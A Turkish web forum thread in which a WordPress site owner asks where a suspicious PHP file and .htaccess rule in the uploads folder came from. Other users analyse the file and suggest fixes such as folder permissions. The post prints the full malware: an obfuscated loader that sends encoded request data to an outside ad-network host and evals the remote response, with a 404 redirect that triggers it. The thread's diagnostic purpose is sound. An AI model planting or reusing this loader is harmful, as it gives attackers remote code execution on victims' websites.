Sizce nereden gelebilir?

Question

Merhabalar
Wordpress film tanıtım sitemin bu gün yedegini aldım öyle incelerken gözüme 6 rakalı bi php dosyası ile htaccess takıldı gözüme.Baktım içinde base64 ile şifrelenmiş kodlar vardı.Bu nereden gelebilir?uploads klasörünün yazılabilirliği 777.

Php kodu şu:
<? error_reporting(0);
$a=(isset($_SERVER&#91;"HTTP_HOST"&#93;)?$_SERVER&#91;"HTTP_HOST"&#93;:$HTTP_HOST);
$b=(isset($_SERVER&#91;"SERVER_NAME"&#93;)?$_SERVER&#91;"SERVER_NAME"&#93;:$SERVER_NAME);
$c=(isset($_SERVER&#91;"REQUEST_URI"&#93;)?$_SERVER&#91;"REQUEST_URI"&#93;:$REQUEST_URI);
$d=(isset($_SERVER&#91;"PHP_SELF"&#93;)?$_SERVER&#91;"PHP_SELF"&#93;:$PHP_SELF);
$e=(isset($_SERVER&#91;"QUERY_STRING"&#93;)?$_SERVER&#91;"QUERY_STRING"&#93;:$QUERY_STRING);
$f=(isset($_SERVER&#91;"HTTP_REFERER"&#93;)?$_SERVER&#91;"HTTP_REFERER"&#93;:$HTTP_REFERER);
$g=(isset($_SERVER&#91;"HTTP_USER_AGENT"&#93;)?$_SERVER&#91;"HTTP_USER_AGENT"&#93;:$HTTP_USER_AGENT);
$h=(isset($_SERVER&#91;"REMOTE_ADDR"&#93;)?$_SERVER&#91;"REMOTE_ADDR"&#93;:$REMOTE_ADDR);
$i=(isset($_SERVER&#91;"SCRIPT_FILENAME"&#93;)?$_SERVER&#91;"SCRIPT_FILENAME"&#93;:$SCRIPT_FILENAME);
$j=(isset($_SERVER&#91;"HTTP_ACCEPT_LANGUAGE"&#93;)?$_SERVER&#91;"HTTP_ACCEPT_LANGUAGE"&#93;:$HTTP_ACCEPT_LANGUAGE);
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);
$f=base64_decode("cnNzbmV3cy53cw==");    
if (basename($c)==basename($i)&&isset($_REQUEST&#91;"q"&#93;)&&md5($_REQUEST&#91;"q"&#93;)=="4464a22ab9f2c3064cb61573d0f717cf") $f=$_REQUEST&#91;"id"&#93;;
if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);
else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);    
curl_close($cu);
eval($o);
};
die(); ?>Htaccess Kodu Şu:
Options -MultiViews
ErrorDocument 404 //wp-content/uploads/987671.phpYardımlarınızı bekliyorum

mrtoxic · Answer

Varmı acaba yardım edebilecek 777 chmodlu klasörlere yapışıyo bu illet

Creep · Answer

Neden uploads klasörünün chmodu 755 değil de 777?

Weya · Answer

404 sayfaları php dosyasına yönleniyor ve o da yapılan isteği alarak inceliyor, ardından http://www.rssnews.ws/ sitesi ile iletişime geçiyor. Tam emin değilim fakat siten üzerinden http://www.rssnews.ws/ 'e saldırı yapılıyormuş gibi geldi bana. çünkü bu sitenin alt sayfalarını rastgele bir şekilde çağırmakta.

mrtoxic · Answer

Resimleri Nasıl yükleyecegim :S
777 olması lazım illaki

@Weya
Evet dosyanın ne iş yaptıgını çözdümde nereden geldigini çözemedim.Yeni çıkmış sanırım bu.Ayrıca http://7.rssnews.ws/en/ ye yönlendiriyor.Orasıda htaccess atarak para kazanma sitesi falan diyor

WTF · Answer

Yeni sahte reklam yayıncılıgı ile para kazanmayı planlayan bi grup

Php deki base64 kodları decode edersen şunlar çıkıyor

Earn money with your site
Earn money with your site
http://ads.rssnews.ws

Banda bir maille geldi FTP troj. Dropper yalnız kodun içinde bulunan md5 kodu bende farklı

İndirdiğim dosyada : md5($_REQUEST["q"])=="36e0c428e3e69434f817711d290d8dfb")

sende
md5($_REQUEST["q"])=="4464a22ab9f2c3064cb61573d0f717cf") $f=$_REQUEST["id"];

saho · Answer

htaccess e erişebilmeleri için wp sürümüne göre belki adminden yapmışlardır yada shell upload edip onu çalıştırdıysalar .htaccess içeriğini düzenlemişte olabilirler , uploads klasörünün adını değiştirmeyi dene wp_users tablosuna bir bak senden başka birileri var mı diye

mrtoxic · Answer

Aynı sorun tekrar geldi başıma nasıl kurtulacaz arkadaşlar

fatihbaz · Answer

chmod 755 de de yüklemesi gerekiyor,yani öyle hatırlıyorum ben.

mrtoxic · Answer

Nasıl kurtulacaz benden kaynaklanan birşeymi yoksa sunucudanmı?

JustRulz · Answer

phpsearch.cn de ads sistemini besliyor bu yazılım.Mevcut 777 klasörlerini 755 yaparsan sorun çözülecektir.

mrtoxic · Answer

HOcam klasörler 755 hostgatora bu gün yedekleri taşıyordum

mrtoxic · Answer

Arkadaşlar sorunu çözdüm.Tüm dosyaları tarayan bir script yaptım.Hepsini buluyor.